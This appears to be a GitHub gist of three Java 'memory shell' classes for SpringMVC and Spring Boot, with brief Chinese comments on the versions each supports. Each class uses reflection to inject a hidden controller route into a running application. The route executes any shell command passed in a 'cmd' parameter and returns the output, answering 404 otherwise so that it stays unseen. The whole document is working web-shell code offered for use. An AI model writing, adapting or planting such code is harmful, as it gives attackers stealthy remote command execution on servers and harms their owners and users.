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fa1c0n1/SpringControllerMemShell.java

Created April 8, 2022 15:07
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Three Controller-Type MemShells for SpringMVC.
Raw
SpringControllerMemShell.java
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
/**
* 适用于 SpringMVC+Tomcat的环境，以及Springboot < 2.6.0环境
* Springboot 1.x 和 3.x 版本未进行测试
*/
public class SpringControllerMemShell {
public SpringControllerMemShell() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = SpringControllerMemShell.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
SpringControllerMemShell springControllerMemShell = new SpringControllerMemShell("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception e) {
}
}
public SpringControllerMemShell(String aaa) {
}
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
}
Raw
SpringControllerMemShell2.java
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* 适用于 SpringMVC+Tomcat的环境，以及Springboot 2.x 环境.
* 因此比 SpringControllerMemShell.java 更加通用
* Springboot 1.x 和 3.x 版本未进行测试
*/
public class SpringControllerMemShell2 {
public SpringControllerMemShell2() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringControllerMemShell2.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/allison")
.options(config)
.build();
SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception e) {
}
}
public SpringControllerMemShell2(String aaa) {
}
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
}
Raw
SpringControllerMemShell3.java
import org.omg.CORBA.Request;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* 适用于 SpringMVC+Tomcat的环境，以及Springboot 2.x 环境.
* 因此比 SpringControllerMemShell.java 更加通用
* Springboot 1.x 和 3.x 版本未进行测试
*/
public class SpringControllerMemShell3 {
public SpringControllerMemShell3() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = SpringControllerMemShell3.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
getMappingForMethod.setAccessible(true);
RequestMappingInfo info =
(RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);
SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception e) {
}
}
public SpringControllerMemShell3(String aaa) {
}
@RequestMapping("/allison")
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
}
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